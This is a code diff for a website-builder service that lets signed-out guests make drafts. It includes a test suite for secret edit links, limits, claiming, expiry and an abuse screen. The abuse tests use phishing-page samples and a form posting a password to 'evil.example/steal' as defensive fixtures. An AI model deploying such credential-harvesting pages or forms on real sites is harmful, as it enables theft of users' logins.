guestKeyOk, touchGuest, createGuest, claimGuest, spendGuestDraft, spendGuestAi,};}@@@ -43,7 +43,13 @@ const { EVENT_TYPES } = require('../server/events/outbox');await check('the proposed service manifest declares every event the service emits', async () => {assert.strictEqual(manifest.id, 'space');-- for (const e of EVENT_TYPES) assert.ok(manifest.eventsProduced.includes(e), e);++ const pinned = new Set(contracts.catalog.map((c) => c.id));++ for (const e of EVENT_TYPES) {++ if (manifest.eventsProduced.includes(e)) continue;++ // An event the pinned openvibe-contracts does not know yet: it waits for its contracts PR and for++ // the pin that follows it (space.app.claimed, plan 5.9). An event neither knows is a mistake.++ assert.ok(!pinned.has(e), `${e} is in neither the service manifest nor the pinned catalogue`);++ }for (const c of caps) for (const e of c.events) assert.ok(manifest.eventsProduced.includes(e), e);const src = ['server/domain/deploys.js', 'server/domain/domains.js'].map((f) => fs.readFileSync(path.join(__dirname, '..', f), 'utf8')).join('\n');for (const m of src.matchAll(/event_type: '([a-z_.]+)'/g)) assert.ok(manifest.eventsProduced.includes(m[1]), m[1]);nnew file mode 100644@@@ -0,0 +1,422 @@++'use strict';++/**++ * Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"): a visitor++ * who is not signed in makes a draft on openvibe.space with a secret edit link, edits it and previews it with that++ * secret, and a signed-in person who holds it claims the draft. What a guest may not do (publish, keep a visitor's++ * data, run server functions), what the abuse screen refuses (a phishing page, a form that posts off-site), the++ * limits (per address, per draft, per service) and the job that removes a draft whose week is up.++ *++ * The limits are lowered here so the suite stays quick; the defaults (three drafts and two AI builds per address a++ * day, twenty AI changes per draft, five hundred drafts a day for the service, seven days) are checked below.++ */++const assert = require('assert');++const crypto = require('crypto');++const { boot, check, done } = require('./stageb/boot');++const { csrfToken, scopeToken } = require('../server/auth/forms');++const templates = require('../server/spaces/templates');++++const ORIGIN = 'https://openvibe.space';++const SITE_TEMPLATES = templates.sites();++++/** The AI that answers at once, so a guest's builds and changes can be polled. */++function fakeAi() {++ const calls = [];++ const runs = new Map();++ return {++ calls, runs,++ client: {++ runs: {++ async create(workflow, input, o) {++ calls.push({ workflow, input, o });++ const id = `run_${runs.size + 1}`;++ runs.set(id, {++ id, status: 'succeeded',++ output: {++ name: 'Guest site', description: 'A site a guest made.', instructions: '', capabilities: ['profile', 'data'],++ files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Hello</h1></body></html>' }],++ },++ });++ return { run: { id, status: 'succeeded' } };++ },++ async get(id) { return { run: runs.get(id) }; },++ },++ },++ };++}++++(async () => {++ const ai = fakeAi();++ const t = await boot({++ spacesAiClient: ai.client,++ env: {++ SPACE_GUEST_DRAFTS_PER_IP_PER_DAY: '3',++ SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY: '5',++ SPACE_GUEST_AI_EDITS_PER_DRAFT: '2',++ SPACE_GUEST_DRAFTS_PER_DAY: '100',++ },++ });++ const alice = t.user('alice');++ const csrf = (u) => csrfToken(t.config, { subject: u.subject });++ const guestCsrf = (id) => scopeToken(t.config, `guest:${id}`);++ const ip = (n) => ({ origin: ORIGIN, 'x-forwarded-for': `203.0.113.${n}` });++++ /** A guest draft from a template: the answer is the secret edit link. */++ const makeDraft = async (template, { address = 1, prompt = null } = {}) => {++ const r = await t.api('POST', '/spaces/guest', {++ form: template ? { template } : { prompt },++ headers: ip(address),++ });++ assert.strictEqual(r.status, 303, `the draft: ${r.status} ${r.text.slice(0, 200)}`);++ const m = /^\/spaces\/(spc_[0-9A-HJKMNP-TV-Z]{26})\/edit\?key=([A-Za-z0-9_-]+)$/.exec(r.headers.location);++ assert.ok(m, r.headers.location);++ return { id: m[1], key: m[2], res: r };++ };++ /** The editor's headers for a guest draft: its secret and its own form token. */++ const asGuest = (id, key, address = null) => Object.assign(++ { origin: ORIGIN, 'x-space-key': key, 'x-csrf-token': guestCsrf(id) },++ address ? { 'x-forwarded-for': `203.0.113.${address}` } : {},++ );++++ await check('the start page asks for a template or a sentence, and no account', async () => {++ const page = await t.api('GET', '/spaces/guest');++ assert.strictEqual(page.status, 200);++ assert.match(page.text, /<form method="post" action="\/spaces\/guest">/);++ for (const tpl of SITE_TEMPLATES) assert.ok(page.text.includes(`name="template" value="${tpl.id}"`), tpl.id);++ assert.match(page.headers['content-security-policy'], /form-action 'self'/);++ assert.match(page.text, /<meta name="robots" content="noindex,nofollow">/);++ });++++ await check('a guest makes a draft from every website template', async () => {++ for (const [i, tpl] of SITE_TEMPLATES.entries()) {++ const { id, key, res } = await makeDraft(tpl.id, { address: 100 + i });++ const space = await t.ctx.spaces.get(id);++ assert.ok(space, `the draft ${tpl.id} exists`);++ assert.deepStrictEqual([space.owner_subject, space.template, space.guest_hash !== null], [null, tpl.id, true]);++ assert.deepStrictEqual((await t.ctx.spaces.files(space)).map((f) => f.path), ['index.html']);++ assert.strictEqual(res.headers['set-cookie'].length, 1);++ const cookie = res.headers['set-cookie'][0];++ assert.match(cookie, /^spc_key_spc_/, cookie);++ assert.match(cookie, /HttpOnly/, cookie);++ assert.match(cookie, /SameSite=Lax/, cookie);++ assert.match(cookie, new RegExp(`Path=/spaces/${id}`), cookie);++ assert.ok(!/Domain=/.test(cookie), 'host-only: openvibe.space and nothing else');++ // The secret is what opens it.++ const ed = await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`);++ assert.strictEqual(ed.status, 200, ed.text.slice(0, 200));++ const bootJson = JSON.parse(/<script type="application\/json" id="sp-boot">([\s\S]*?)<\/script>/.exec(ed.text)[1]);++ assert.strictEqual(bootJson.base, `/spaces/${id}`);++ assert.strictEqual(bootJson.guest.key, key);++ assert.strictEqual(bootJson.canPublish, false, 'a guest draft is not published');++ assert.doesNotMatch(ed.text, /id="ed-publish"/, 'no Publish button for a guest');++ }++ });++++ await check('only the hash of the secret is kept, and the secret is compared in constant time', async () => {++ const { id, key } = await makeDraft('site-portfolio', { address: 120 });++ const row = await t.ctx.store.db.prepare('SELECT guest_hash, guest_ip FROM space_apps WHERE id = ?').get(id);++ assert.notStrictEqual(row.guest_hash, key, 'the secret itself is never stored');++ assert.match(row.guest_hash, /^[0-9a-f]{64}$/, 'sha256, hex');++ assert.strictEqual(row.guest_ip, '203.0.113.120');++ const guest = require('../server/spaces/guest');++ assert.strictEqual(guest.keyMatches(row.guest_hash, key), true);++ assert.strictEqual(guest.keyMatches(row.guest_hash, `${key}x`), false);++ assert.strictEqual(guest.keyMatches(row.guest_hash, ''), false);++ assert.strictEqual(guest.keyMatches(row.guest_hash, undefined), false);++ assert.strictEqual(guest.keyMatches('not-a-hash', key), false);++ // The comparison is constant time: the hashes are compared with timingSafeEqual.++ assert.match(guest.keyMatches.toString(), /timingSafeEqual/);++ });++++ await check('the secret is needed: no key, or the wrong key, is refused', async () => {++ const { id, key } = await makeDraft('site-links', { address: 121 });++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit`)).status, 403, 'no key at all');++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=nope`)).status, 403, 'the wrong key');++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`)).status, 200, 'the right key');++ // The cookie alone opens it too (the link alone works as well).++ const cookie = `spc_key_${id}=${key}`;++ const withCookie = await t.api('GET', `/spaces/${id}/edit`, { headers: { cookie } });++ assert.strictEqual(withCookie.status, 200, 'the cookie remembers the secret');++ // A stranger who is signed in is still refused.++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=nope`, { session: alice })).status, 403);++ });++++ await check('the editor and its preview work with the secret, exactly as for a maker', async () => {++ const { id, key } = await makeDraft('site-bakery', { address: 122 });++ const headers = asGuest(id, key, 122);++ const put = await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Mine</h1></body></html>' }] }, headers });++ assert.strictEqual(put.status, 200, put.text.slice(0, 200));++ const saved = await t.ctx.spaces.files(await t.ctx.spaces.get(id));++ assert.deepStrictEqual(saved.map((f) => f.path), ['index.html']);++ assert.match(saved[0].content, /Mine/);++ // Without the form token the call is refused, as it is for a maker.++ const noToken = await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: 'x' }] }, headers: { origin: ORIGIN, 'x-space-key': key } });++ assert.strictEqual(noToken.status, 403);++ // From another origin the call is refused, as it is for a maker.++ const crossSite = await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: 'x' }] }, headers: { origin: 'https://evil.example', 'x-space-key': key, 'x-csrf-token': guestCsrf(id) } });++ assert.strictEqual(crossSite.status, 403);++ // The preview runs the draft: nobody is signed in, and the SDK says so instead of failing.++ const preview = (op, args) => t.api('POST', `/spaces/${id}/preview`, { json: { op, args }, headers });++ assert.strictEqual((await preview('me')).json().result, null);++ const add = await preview('items.add', { collection: 'notes', value: { text: 'hi' } });++ assert.strictEqual(add.status, 200);++ assert.deepStrictEqual(add.json().result, { error: 'sign_in_required', message: 'Sign in to use this' });++ assert.deepStrictEqual((await preview('items.list', { collection: 'notes' })).json().result, []);++ assert.deepStrictEqual((await preview('kv.set', { key: 'a', value: 1 })).json().result, { error: 'sign_in_required', message: 'Sign in to use this' });++ // The AI: the draft changes, and the answer is applied to the draft.++ const aiCall = await t.api('POST', `/spaces/${id}/ai`, { json: { prompt: 'make it blue' }, headers });++ assert.strictEqual(aiCall.status, 200, aiCall.text.slice(0, 200));++ const done1 = await t.api('GET', `/spaces/${id}/ai`, { headers });++ assert.strictEqual(done1.json().status, 'done');++ assert.deepStrictEqual(done1.json().space.capabilities, [], 'a guest draft asks no visitor for anything');++ assert.strictEqual(done1.json().files[0].path, 'index.html');++ const build = ai.calls.filter((c) => c.workflow === 'space.app.build').pop();++ assert.strictEqual(build.o.onBehalfOf, undefined, 'a guest has no person to act for');++ assert.deepStrictEqual(build.o.attribution, { service: 'space', type: 'space', id });++ });++++ await check('a guest never publishes, keeps no visitor data and runs no functions', async () => {++ const { id, key } = await makeDraft('site-landing', { address: 123 });++ const headers = asGuest(id, key, 123);++ const pub = await t.api('POST', `/spaces/${id}/publish`, { headers });++ assert.strictEqual(pub.status, 403);++ assert.strictEqual(pub.json().error.code, 'space.guest_cannot_publish');++ const unpub = await t.api('POST', `/spaces/${id}/unpublish`, { headers });++ assert.strictEqual(unpub.status, 403);++ const fn = await t.api('POST', `/spaces/${id}/preview`, { json: { op: 'fn.call', args: { name: 'check' } }, headers });++ assert.strictEqual(fn.status, 403);++ assert.strictEqual(fn.json().error.code, 'space.guest_no_functions');++ // Nothing of a visitor's was written: the draft has no lists and no storage.++ const items = await t.ctx.store.db.prepare('SELECT COUNT(*) AS n FROM space_app_items WHERE space_id = ?').get(id);++ const kv = await t.ctx.store.db.prepare('SELECT COUNT(*) AS n FROM space_app_kv WHERE space_id = ?').get(id);++ assert.strictEqual(Number(items.n), 0);++ assert.strictEqual(Number(kv.n), 0);++ // And the draft is not in the gallery.++ assert.ok(!(await t.ctx.spaces.gallery({})).some((s) => s.id === id));++ });++++ await check('the limits: three drafts a day per address', async () => {++ for (let i = 0; i < 3; i++) {++ const r = await t.api('POST', '/spaces/guest', { form: { template: 'site-bakery' }, headers: ip(130) });++ assert.strictEqual(r.status, 303, `draft ${i + 1}: ${r.status}`);++ }++ const fourth = await t.api('POST', '/spaces/guest', { form: { template: 'site-bakery' }, headers: ip(130) });++ assert.strictEqual(fourth.status, 422);++ assert.match(fourth.text, /3 drafts/);++ // Another address has its own three.++ assert.strictEqual((await t.api('POST', '/spaces/guest', { form: { template: 'site-bakery' }, headers: ip(131) })).status, 303);++ });++++ await check('the limits: two AI changes per draft', async () => {++ const { id, key } = await makeDraft('site-event', { address: 140 });++ const headers = asGuest(id, key, 140);++ for (let i = 0; i < 2; i++) {++ const r = await t.api('POST', `/spaces/${id}/ai`, { json: { prompt: `change ${i}` }, headers });++ assert.strictEqual(r.status, 200, r.text.slice(0, 200));++ assert.strictEqual((await t.api('GET', `/spaces/${id}/ai`, { headers })).json().status, 'done');++ }++ const over = await t.api('POST', `/spaces/${id}/ai`, { json: { prompt: 'one more' }, headers });++ assert.strictEqual(over.status, 429);++ assert.match(over.json().error.message, /2 AI changes/);++ });++++ await check('the limits: five AI builds a day per address, over the drafts', async () => {++ // Two changes in each of two drafts, then one more in a third: the address is used up.++ const drafts = [];++ for (const address of [150, 151, 152]) drafts.push(await makeDraft('site-event', { address: 150 }));++ const heads = { origin: ORIGIN, 'x-forwarded-for': '203.0.113.150' };++ let calls = 0;++ for (const d of drafts) {++ // Two changes in the first two drafts, one in the third: five builds for this address.++ const rounds = d === drafts[2] ? 1 : 2;++ for (let i = 0; i < rounds; i++) {++ const headers = Object.assign({}, heads, { 'x-space-key': d.key, 'x-csrf-token': guestCsrf(d.id) });++ const r = await t.api('POST', `/spaces/${d.id}/ai`, { json: { prompt: `change ${calls}` }, headers });++ assert.strictEqual(r.status, 200, r.text.slice(0, 200));++ assert.strictEqual((await t.api('GET', `/spaces/${d.id}/ai`, { headers })).json().status, 'done');++ calls++;++ }++ }++ assert.strictEqual(calls, 5);++ // The sixth build of this address is refused (the per-draft limit is its own).++ const headers = Object.assign({}, heads, { 'x-space-key': drafts[2].key, 'x-csrf-token': guestCsrf(drafts[2].id) });++ const over = await t.api('POST', `/spaces/${drafts[2].id}/ai`, { json: { prompt: 'one more' }, headers });++ assert.strictEqual(over.status, 429);++ assert.strictEqual(over.json().error.code, 'quota');++ assert.match(over.json().error.message, /5 AI builds/);++ });++++ await check('a prompt that builds a draft spends the same AI allowance', async () => {++ const promptBuild = await t.api('POST', '/spaces/guest', { form: { prompt: 'A site for my bakery with today’s hours' }, headers: ip(160) });++ assert.strictEqual(promptBuild.status, 303, promptBuild.text.slice(0, 200));++ assert.ok(ai.calls.some((c) => c.workflow === 'space.app.build' && c.input.prompt.includes('bakery')));++ // The draft is there, with the AI building it.++ const id = /^\/spaces\/(spc_[0-9A-HJKMNP-TV-Z]{26})\//.exec(promptBuild.headers.location)[1];++ const space = await t.ctx.spaces.get(id);++ assert.ok(space.building_run_id, 'the AI is building the draft');++ const key = /key=([A-Za-z0-9_-]+)$/.exec(promptBuild.headers.location)[1];++ const done1 = await t.api('GET', `/spaces/${id}/ai`, { headers: asGuest(id, key, 160) });++ assert.strictEqual(done1.json().status, 'done');++ });++++ await check('the abuse screen: a phishing page and a form that posts off-site are refused', async () => {++ const { id, key } = await makeDraft('site-bakery', { address: 170 });++ const headers = asGuest(id, key, 170);++ const phishing = await t.api('PUT', `/spaces/${id}/files`, {++ json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Sign in to your Google account</h1><input type="password"></body></html>' }] },++ headers,++ });++ assert.strictEqual(phishing.status, 422);++ assert.strictEqual(phishing.json().error.code, 'space.guest_abuse');++ const offsite = await t.api('PUT', `/spaces/${id}/files`, {++ json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><form action="https://evil.example/steal" method="post"><input name="password"></form></body></html>' }] },++ headers,++ });++ assert.strictEqual(offsite.status, 422);++ assert.strictEqual(offsite.json().error.code, 'space.guest_offsite_form');++ // A form on its own address is fine.++ const own = await t.api('PUT', `/spaces/${id}/files`, {++ json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><form action="/thanks" method="post"><input name="email"></form></body></html>' }] },++ headers,++ });++ assert.strictEqual(own.status, 200, own.text.slice(0, 200));++ // The prompt is checked too.++ const prompt = await t.api('POST', '/spaces/guest', { form: { prompt: 'Build me a Google password login page' }, headers: ip(171) });++ assert.strictEqual(prompt.status, 422);++ assert.match(prompt.text, /reads like a scam|asks for a password/);++ // And the AI's answer is checked: a build that answers with a phishing page is refused.++ const build = await makeDraft('site-bakery', { address: 172 });++ ai.runs.set('run_none', { id: 'run_none', status: 'running' });++ const bad = { name: 'Bad', description: '', instructions: '', capabilities: [], files: [{ path: 'index.html', content: '<html><body><h1>Sign in to your Google account</h1><input type="password"></body></html>' }] };++ const space = await t.ctx.spaces.get(build.id);++ await t.ctx.spaces.startBuild(space, 'run_bad', 'make it');++ ai.runs.set('run_bad', { id: 'run_bad', status: 'succeeded', output: bad });++ const refused = await t.api('GET', `/spaces/${build.id}/ai`, { headers: asGuest(build.id, build.key, 172) });++ assert.strictEqual(refused.json().status, 'failed');++ assert.match(refused.json().message, /refused/);++ });++++ await check('the claim: a signed-in person who holds the secret keeps the draft', async () => {++ const { id, key } = await makeDraft('site-bakery', { address: 180 });++ // Signed out: no claim (the form sends the person to sign in and comes back).++ const out = await t.api('POST', `/spaces/${id}/claim`, { form: { key }, headers: { origin: ORIGIN } });++ assert.strictEqual(out.status, 303);++ assert.match(out.headers.location, /^\/auth\/login\?next=/);++ // The wrong secret: refused.++ const wrong = await t.api('POST', `/spaces/${id}/claim`, { form: { key: 'nope', csrf: csrf(alice) }, headers: { origin: ORIGIN }, session: alice });++ assert.strictEqual(wrong.status, 403);++ // The right secret and the person's own form token: the draft is theirs.++ const claim = await t.api('POST', `/spaces/${id}/claim`, { form: { key, csrf: csrf(alice) }, headers: { origin: ORIGIN }, session: alice });++ assert.strictEqual(claim.status, 303, claim.text.slice(0, 200));++ const slug = /^\/spaces\/([a-z0-9-]+)$/.exec(claim.headers.location)[1];++ const space = await t.ctx.spaces.get(id);++ assert.deepStrictEqual([space.owner_subject, space.owner_username, space.guest_hash, space.guest_ip, space.guest_expires_at], [alice.subject, 'alice', null, null, null]);++ assert.strictEqual(space.slug, slug);++ assert.strictEqual(space.visibility, 'public');++ // It is an ordinary space now: its page, its editor and its place in the maker's list.++ assert.strictEqual((await t.api('GET', `/spaces/${slug}`, { session: alice })).status, 200);++ assert.strictEqual((await t.api('GET', `/spaces/${slug}/edit`, { session: alice })).status, 200);++ assert.ok((await t.ctx.spaces.mine({ subject: alice.subject, kind: 'user' })).some((s) => s.id === id));++ // The secret is dead: the old link no longer opens it (it is an owned space now).++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`)).status, 401);++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`, { session: t.user('bob') })).status, 404);++ // And a second claim is refused.++ const again = await t.api('POST', `/spaces/${id}/claim`, { form: { key, csrf: csrf(alice) }, headers: { origin: ORIGIN }, session: alice });++ assert.strictEqual(again.status, 404);++ // The claim is a status event.++ const events = await t.events('space.app.claimed');++ assert.strictEqual(events.length, 1);++ assert.deepStrictEqual(events[0].subject, { type: 'space', id });++ assert.deepStrictEqual(events[0].actor, { type: 'user', id: alice.subject });++ assert.strictEqual(events[0].payload.space_id, id);++ });++++ await check('a draft whose week is up is gone, and the job removes it', async () => {++ const { id, key } = await makeDraft('site-bakery', { address: 190 });++ const past = t.clock.now() - 8 * 24 * 3600 * 1000;++ await t.ctx.store.db.prepare('UPDATE space_apps SET guest_expires_at = ? WHERE id = ?').run(past, id);++ // An expired draft is not there any more.++ assert.strictEqual((await t.api('GET', `/spaces/${id}/edit?key=${encodeURIComponent(key)}`)).status, 404);++ // The job removes it (and its files).++ const removed = await t.ctx.guestCleanup.run();++ assert.ok(removed >= 1, 'the job removed the expired draft');++ assert.strictEqual(await t.ctx.spaces.get(id), null);++ const files = await t.ctx.store.db.prepare('SELECT COUNT(*) AS n FROM space_app_files WHERE space_id = ?').get(id);++ assert.strictEqual(Number(files.n), 0);++ });++++ await check('an edit pushes the draft\'s time up', async () => {++ const { id, key } = await makeDraft('site-bakery', { address: 200 });++ const before = (await t.ctx.spaces.get(id)).guest_expires_at;++ await t.clock.advance(3600 * 1000);++ await t.api('PUT', `/spaces/${id}/files`, { json: { files: [{ path: 'index.html', content: '<!doctype html><html><body><h1>Later</h1></body></html>' }] }, headers: asGuest(id, key, 200) });++ const after = (await t.ctx.spaces.get(id)).guest_expires_at;++ assert.strictEqual(Number(after), Number(before) + 3600 * 1000);++ });++++ await check('the draft is never made on openvibe.website, and the website front door is untouched', async () => {++ const onWebsite = await t.get('openvibe.website', '/spaces/guest');++ assert.notStrictEqual(onWebsite.status, 200, 'the website host makes no guest draft');++ const post = await t.get('openvibe.website', '/spaces/guest', { method: 'POST' });++ assert.strictEqual(post.status, 405, 'the website host answers GET and HEAD only');++ const home = await t.get('openvibe.website', '/');++ assert.strictEqual(home.status, 200);++ assert.ok(!home.headers['set-cookie'], 'the website host sets no cookie');++ });++++ await t.close();++++ // The service-wide cap, on its own (two drafts a day for the whole service).++ const t2 = await boot({ spacesAiClient: fakeAi().client, env: { SPACE_GUEST_DRAFTS_PER_DAY: '2' } });++ await check('the service-wide cap, on its own', async () => {++ const one = await t2.api('POST', '/spaces/guest', { form: { template: 'site-links' }, headers: ip(1) });++ assert.strictEqual(one.status, 303, one.text.slice(0, 200));++ const two = await t2.api('POST', '/spaces/guest', { form: { template: 'site-links' }, headers: ip(2) });++ assert.strictEqual(two.status, 303, two.text.slice(0, 200));++ const three = await t2.api('POST', '/spaces/guest', { form: { template: 'site-links' }, headers: ip(3) });++ assert.strictEqual(three.status, 422);++ assert.match(three.text, /as many drafts today as we can/);++ });++ await t2.close();++++ await check('the modules behind the guest drafts, and the editor own script', async () => {++ const fs = require('fs');++ const path = require('path');++ const root = path.join(__dirname, '..');++ const client = fs.readFileSync(path.join(root, 'public', 'js', 'space-editor.js'), 'utf8');++ new Function(client); // it parses++ assert.match(client, /boot\.base/, 'the editor calls the draft\'s own address');++ assert.match(client, /X-Space-Key/, 'and carries the draft\'s secret');++ assert.match(client, /guest \? '\/spaces\/guest'/, 'deleting a draft goes back to the start page');++ const { createSpacesAi } = require('../server/spaces/ai');++ const { createGuestCleanup } = require('../server/spaces/guest-cleanup');++ const { createSpaces } = require('../server/spaces/spaces');++ const render = require('../server/spaces/render');++ assert.strictEqual(typeof createSpacesAi, 'function');++ assert.strictEqual(typeof createGuestCleanup, 'function');++ assert.strictEqual(typeof createSpaces, 'function');++ assert.match(render.guestPage({ templates: [], error: null, prompt: '', aiOn: true }), /Make a site/);++ });++++ await check('the defaults, and the content check itself', async () => {++ const { load } = require('../server/hosting-config');++ const g = load({}).spaces.guest;++ assert.deepStrictEqual(++ [g.enabled, g.draftsPerIpPerDay, g.aiBuildsPerIpPerDay, g.aiEditsPerDraft, g.draftsPerDay, g.ttlDays],++ [true, 3, 2, 20, 500, 7],++ );++ const check2 = require('../server/spaces/content-check');++ assert.strictEqual(check2.phishingReason('a shop with opening hours'), null);++ assert.strictEqual(check2.phishingReason('how to choose a password for your site'), null, 'no brand, no refusal');++ assert.ok(check2.phishingReason('Sign in to your Google account'));++ assert.ok(check2.phishingReason('verify your PayPal password'));++ assert.ok(check2.phishingReason('your account has been suspended'));++ assert.strictEqual(check2.offsiteFormReason('<form action="/here" method="post"></form>', { sitesDomain: 'openvibe.website' }), null);++ assert.strictEqual(check2.offsiteFormReason('<form method="post"></form>', { sitesDomain: 'openvibe.website' }), null);++ assert.strictEqual(check2.offsiteFormReason('<form action="https://shop.openvibe.website/orders"></form>', { sitesDomain: 'openvibe.website' }), null, 'the site\'s own address');++ assert.ok(check2.offsiteFormReason('<form action="https://evil.example/x"></form>', { sitesDomain: 'openvibe.website' }));++ assert.ok(check2.offsiteFormReason('<form action="//evil.example/x"></form>', { sitesDomain: 'openvibe.website' }));++ assert.ok(check2.offsiteFormReason('<form action="mailto:[email protected]"></form>', { sitesDomain: 'openvibe.website' }));++ });++++ done();++})().catch((err) => { console.error(err); process.exit(1); });@@@ -78,7 +78,7 @@ async function boot(opts = {}) {}async function stop() {if (server) { server.closeAllConnections(); await new Promise((r) => server.close(r)); }-- if (built) { built.ctx.worker.stop(); await built.ctx.outbox.stop(); }++ if (built) { built.ctx.worker.stop(); built.ctx.guestCleanup.stop(); await built.ctx.outbox.stop(); }server = null; built = null;}
@@ -94,3 +94,13 @@ SPACE_STORAGE_DIR=./data/objects
@@ -94,3 +94,13 @@ SPACE_STORAGE_DIR=./data/objects
# VALKEY_URL=
# VALKEY_URL=
# VALKEY_PREFIX=ov:space:
# VALKEY_PREFIX=ov:space:
# API_CORS_ORIGINS=https://openvibe.network,https://openvibe.codes
# API_CORS_ORIGINS=https://openvibe.network,https://openvibe.codes
+
+# Guest drafts (openvibe.website, plan 5.9): a visitor makes a draft on openvibe.space without an account and
+# edits it with a secret link; a signed-in person claims it later. These limits are the abuse screen's first half.
+#SPACE_GUEST_DRAFTS=on # off: no guest drafts at all
+#SPACE_GUEST_DRAFTS_PER_IP_PER_DAY=3 # drafts one address may make a day
+#SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY=2 # AI builds (and changes) one address may ask for a day
+#SPACE_GUEST_AI_EDITS_PER_DRAFT=20 # AI changes one draft may have
+#SPACE_GUEST_DRAFTS_PER_DAY=500 # drafts the whole service makes a day
+#SPACE_GUEST_TTL_DAYS=7 # a draft lives this long after its last edit
+#SPACE_GUEST_CLEANUP_INTERVAL_MS=3600000 # the job that removes the drafts whose time is up
@@ -2,6 +2,7 @@
@@ -2,6 +2,7 @@
## Unreleased
## Unreleased
+- **Guest drafts** (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"): a visitor who is not signed in makes a draft on openvibe.space (`GET/POST /spaces/guest`) from a website template or a sentence, and edits it with a secret link (`/spaces/<id>/edit?key=…`; the cookie only remembers it, the link alone works). The draft has no owner and of the secret only its sha256 is kept. It is static: never published, no visitor's data, no server functions; in the preview the SDK answers "sign in to use this" where a visitor's account would be needed. A signed-in person who holds the secret claims it (`POST /spaces/<id>/claim`): it becomes theirs, the secret is cleared, and `space.app.claimed` is logged. The limits (per address, per draft, per service) and the seven-day expiry are in `server/hosting-config.js`; the abuse screen (`server/spaces/content-check.js`) refuses a phishing page and any form in a guest draft that posts to another origin.
- Usage readings (plan T5 step 14, Space slice): `server/billing.js` turns the bytes the local object store keeps (`space_blobs`, each blob once per project) into one `platform.usage-sample@1` `gb-month` reading per production project and owner per closed UTC day, queued in `billing_readings` (migration `0006_billing_readings.sql`) and relayed to OpenVibe.Billing's `billing.usage.record`. Off unless `SPACE_BILLING_INTERVAL_MS` > 0; with `SPACE_OBJECT_STORE=media` Space emits none, because Media bills the stored bytes.
- Usage readings (plan T5 step 14, Space slice): `server/billing.js` turns the bytes the local object store keeps (`space_blobs`, each blob once per project) into one `platform.usage-sample@1` `gb-month` reading per production project and owner per closed UTC day, queued in `billing_readings` (migration `0006_billing_readings.sql`) and relayed to OpenVibe.Billing's `billing.usage.record`. Off unless `SPACE_BILLING_INTERVAL_MS` > 0; with `SPACE_OBJECT_STORE=media` Space emits none, because Media bills the stored bytes.
- The forum moved back to OpenVibe.Community (owner decision, 2026-10-08), so Space keeps none of it. Removed: `server/forum/*`, `server/relay/*`, `server/vip/*`, `server/media/*`, `server/identity/*`, `server/{chat-rooms,votes,limits,actor-limits,events,events-consumer}.js`, `server/http/v1.js`, `server/render/{board,forum,markdown,jsonld,highlight}.js`, `public/js/space.js`, the forum suites and their fixtures, `docs/discord-relay.md` and the roadmap JSON.
- The forum moved back to OpenVibe.Community (owner decision, 2026-10-08), so Space keeps none of it. Removed: `server/forum/*`, `server/relay/*`, `server/vip/*`, `server/media/*`, `server/identity/*`, `server/{chat-rooms,votes,limits,actor-limits,events,events-consumer}.js`, `server/http/v1.js`, `server/render/{board,forum,markdown,jsonld,highlight}.js`, `public/js/space.js`, the forum suites and their fixtures, `docs/discord-relay.md` and the roadmap JSON.
- Every forum URL answers a permanent redirect to the same path and query on https://openvibe.community: `/s` and `/s/*` by 301 for GET and HEAD and 308 otherwise (the method and body are preserved), and `/api/v1/spaces*`, `/api/v1/posts/*`, `/api/v1/space-groups*` and `/api/v1/relay*` by 308.
- Every forum URL answers a permanent redirect to the same path and query on https://openvibe.community: `/s` and `/s/*` by 301 for GET and HEAD and 308 otherwise (the method and body are preserved), and `/api/v1/spaces*`, `/api/v1/posts/*`, `/api/v1/space-groups*` and `/api/v1/relay*` by 308.
@@ -6,7 +6,7 @@
@@ -6,7 +6,7 @@
"runtime": "node 22, express, PostgreSQL 18 (openvibe-sdk/db, async)",
"runtime": "node 22, express, PostgreSQL 18 (openvibe-sdk/db, async)",
"port": 4940,
"port": 4940,
"domain": "openvibe.space",
"domain": "openvibe.space",
- "contracts": "openvibe-contracts v0.263.1",
+ "contracts": "openvibe-contracts v0.266.0",
"sdk": "openvibe-sdk v0.74.0",
"sdk": "openvibe-sdk v0.74.0",
"shared": "openvibe-shared v4.67.0",
"shared": "openvibe-shared v4.67.0",
"capabilities": [
"capabilities": [
@@ -111,6 +111,41 @@ Starting from the **Trivia** template gives a working example: its answers live
@@ -111,6 +111,41 @@ Starting from the **Trivia** template gives a working example: its answers live
5. The token is a day-long Bearer token for that space only, kept in the space's `sessionStorage`. Space stores only
5. The token is a day-long Bearer token for that space only, kept in the space's `sessionStorage`. Space stores only
its hash, and `DELETE /api/v1/apps/:id/token` signs the visitor out.
its hash, and `DELETE /api/v1/apps/:id/token` signs the visitor out.
+## Guest drafts (openvibe.website, plan 5.9)
+
+A visitor who is **not signed in** can make a draft on openvibe.space. It has no owner and a random edit secret;
+of the secret only its sha256 is kept (as OpenVibe.Design keeps `guest_hash` for its guest designs). The answer is
+the secret link `/spaces/<id>/edit?key=…`; a cookie scoped to that one draft (host-only, HttpOnly, SameSite=Lax,
+`Path=/spaces/<id>`) remembers it, and the link alone works too.
+
+- `GET /spaces/guest` — the start page: a website template, or a sentence for the AI.
+- `POST /spaces/guest` — make the draft. The answer is a 303 to the secret edit link.
+- `GET /spaces/<id>/edit?key=…` — the editor, exactly as for a maker: the files, the sandboxed preview, the AI.
+- `POST /spaces/<id>/claim` — a signed-in person who holds the secret keeps the draft (`key` and the form token).
+ The draft becomes theirs, with an address from its name, the secret is cleared, and it follows every rule a
